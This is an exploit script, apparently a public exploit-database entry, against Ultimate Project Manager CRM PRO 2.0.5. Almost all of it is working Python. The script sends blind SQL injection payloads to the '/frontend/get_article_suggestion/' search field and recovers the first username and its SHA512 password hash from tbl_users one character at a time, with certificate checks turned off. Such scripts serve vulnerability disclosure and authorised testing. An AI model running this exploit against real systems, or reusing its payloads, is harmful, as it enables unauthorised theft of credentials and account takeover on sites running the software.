Ultimate Project Manager CRM PRO 2.05 SQL Injection

# Exploit Title: Ultimate Project Manager CRM PRO 2.0.5 - SQLi Credentials Leakage
# Date: 2020-16-09
# Exploit Author: nag0mez
# Vendor Homepage: https://ultimatepro.codexcube.com/
# Version: <= 2.0.5
# Tested on: Kali Linux 2020.2


# The SQLi injection does not allow UNION payloads. However, we can guess usernames and passwords fuzzing the database.

#!/usr/bin/env python3
#-*- coding: utf-8 -*-
import requests
import sys

# The original vulnerability was found on a server with an invalid SSL certificate,
# which Python could not verify. I added the verify=False parameter to avoid SSL check.
# The lack of verification results in a warning message from Python.
# To get a clean output, we will ignore all warnings.
import warnings
warnings.filterwarnings("ignore")

host = 'https://testurl.test' # Change
url = "{}/frontend/get_article_suggestion/".format(host)

chars = '1234567890abcdefghijklmnopqrstuvwxyz'
hex_chars = 'abcdef1234567890'

def send_payload(payload):
  try:
    response = requests.post(url, data=payload, verify=False)
    content = response.text
    length = len(content)
    return length
  except Exception as e:
    print('Cannot connect to host. Exit.')
    sys.exit(1)


def get_first_user():
  found = True
  known = ''

  while found:

    found = False
    for c in chars:
      test = known + c
      payload = {'search': "' or (select username from tbl_users limit 1)like'{}%'-- ".format(test)}
      length = send_payload(payload)

      if length > 2:
        found = True
        known += c
        print(c, end='')
        sys.stdout.flush()
        break

  return known

def get_hash(username):
  found = True
  known = ''

  while found:

    found = False
    for c in hex_chars:
      test = known + c
      payload = {'search': "' or (select password from tbl_users where username='{}' limit 1)like'{}%'-- ".format(username,test)}
      length = send_payload(payload)

      if length > 2:
        found = True
        known += c
        print(c, end='')
        sys.stdout.flush()
        break

  return known


if __name__ == '__main__':
  print('Exploit started.')
  print('Guessing username...')

  username = get_first_user()

  if username != '':
    print('nUsername found: {}'.format(username))
  else:
    print('nCould not get username! Exit.')
    sys.exit(1)

  print('Guessing password SHA512 hash...')

  sha = get_hash(username)

  if sha != '':
    print('nHash found: {}'.format(sha))
  else:
    print('nCould not get Hash! Exit.')
    sys.exit(1)